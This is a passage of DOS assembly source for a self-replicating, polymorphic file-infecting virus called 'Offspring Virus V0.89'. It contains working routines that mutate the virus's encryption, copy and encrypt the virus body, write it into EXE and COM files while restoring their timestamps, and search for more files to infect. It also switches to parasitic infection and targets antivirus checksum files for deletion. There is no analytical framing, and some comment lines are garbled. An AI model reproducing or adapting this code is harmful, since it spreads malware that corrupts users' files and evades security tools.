lea dx,new_code ;
int 21h ;
mov ax,4202h ; Set file pointer to end of file
xor cx,cx ;
xor dx,dx ;
int 21h
encrypt_ops:
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
; Change encryptions ops
push bx ; save file handle
cmp pad_bytes,50 ; no more increase in file size?
je reset_pad ; if yes, reset
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr ; make note of the increase
jmp pad_ok ; don't reset pad
reset_pad:
mov word ptr pad_bytes,0 ; reset pad size
sub word ptr b_wr,50 ; make note of decrease
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2
dec inc_op
dec byte ptr xor_op+1
dec di_op
dec byte ptr enc_addr
dec byte ptr enc_add+1
jmp chg_three
set2:
inc inc_op
inc byte ptr xor_op+1
inc di_op
inc byte ptr enc_addr
inc byte ptr enc_add+1
chg_three:
mov dh,byte ptr nop_sub ; which byte did we use to fill space?
cmp dh,48h ; if INC AX then we need to reset it
jne _change ; else decrement it
mov dh,40h ; reset to DEC AX
_change:
cmp dh,41h ; Don't use INC CX..
jne no_conflict ;
mov dh,48h ; Change it to DEC AX instead
no_conflict:
cmp dh,47h ; Don't use INC DI
jne no_conflict2 ;
mov dh,4Bh ; Use DEC BX Instead
no_conflict2:
cmp dh,44h ; Don't use INC SP
jne no_conflict3 ;
mov dh,4Dh ; Use DEC BP Instead
no_conflict3:
cmp dh,46h ; Don't use INC SI
jne no_conflict4
mov dh,0FBh ; Use STI instead
no_conflict4:
mov dl,dh ; mov into word reg dx
mov cx,16 ; 32 bytes
lea si,fill_space ; beginning of null space
fill_loop:
mov [si],dx ; fill null bytes with same op
inc si ;
inc si ;
loop fill_loop ;
xor cx,cx ; keep track of which we're changing
lea di,sw_byte3 ; change the first INC location
change_pos_ag:
inc cx ; make note
cmp change_num,3 ; last position?
jne cont_change ; nope.. go ahead
mov change_num,0 ; else.. reset it
cont_change:
add di,change_num ; location to put INC
mov ah,inc_op ; INC DI|SI
mov byte ptr [di],ah ; write new INC SI|DI
lea di,sw_byte4 ; now change second INC SI|DI
cmp cx,2 ; did we already change both?
jne change_pos_ag ; no, change the second
inc change_num ; increment position
mov ah,dir_infect ; save dir_infect
push ax ;
mov dir_infect,1 ; and reset it to 1
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
; Get random XOR number, save it, copy virus, encrypt code
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - sec/ms
mov word ptr xor_op+2,dx ; save encryption #
mov word ptr trick_jmp+1,dx ; put same number in fake jump
mov si,0100h
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+50 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h ; make encryption routine RET
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h ; Reset it to no RETurn
pop ax ; restore dir_infect
mov dir_infect,ah
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
; Write and close new infected file
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr f_time
mov dx,word ptr f_date
int 21h
close:
mov ah, 3eh ; close file
int 21h
no_infect:
find_file:
cmp inf_count, max_inf ; Max files found?
je end_prog ; yes, end infection
mov ah,4fh ; Find next file
int 21h
jc end_prog ; if no files found.. quit
jmp next_loop ; infect the next file
end_prog:
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done ; nope.. we're done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done ; yep, exit already
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first ; do it again for parastic
find_done:
fd2:
xor ax,ax
mov es,ax ; es = 0
cli ; interrupts off
mov ax,old_eh_seg ; get old int 24h segment
mov bx,old_eh_off ; get old int 24h offset
mov es:[24h*4+2],ax ; restore int 24h segment
mov es:[24h*4],bx ; restore int 24h offsetn
sti ; interrupts on
ret ; return
resident endp
vtype db spawn ; Infection type
com_name db 'COMMAND.COM' ; obvious
org_bytes db 7 dup(0) ; original first seven bytes of parastic inf.
pad_bytes dw 0 ; Increase in virus size
add_mem db 0 ; Add memory back?
inc_op db 47h ; INC DI (47h) or INC SI (46h)
nop_sub db 40h ; fill byte
copyr db 28h,63h,29h,20h,0FBh,69h,72h,6Fh,67h,65h,6Eh
v_id db 0ah,0dh,'O<><4F>spring Virus V0.89','$'
kill_now db 0 ; no program running? dir/disk call?
chk_spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill
chk_spec2 db 'ANTI-VIR.DAT',0 ; TBAV Checksum kill
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
change_num dw 0 ; keep track of position of INC DI|SI
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
dir_infect db 0
vend: ; End of virus
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; heap - not written to disk
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
chk_spec_addr dw chk_spec ; delete file spec
fname_off dw fname1 ; Offset of Filespec to use
old_nop_sub db 0
old_dta dd 0 ; Old DTA Segment:Address
old_eh_seg dw 0 ; old error handler (int 24h) seg
old_eh_off dw 0 ; old error handler (int 24h) ofs
inf_count db 0 ; How many files we have infected this run
fcb db 21 dup(0) ; fcb
attrib db 0 ; file attribute
f_time dw 0 ; file time
f_date dw 0 ; file date
f_sizeh dw 0 ; file size
f_sizel dw 0 ;
f_name db 13 dup(0) ; file name
cseg ends
end start
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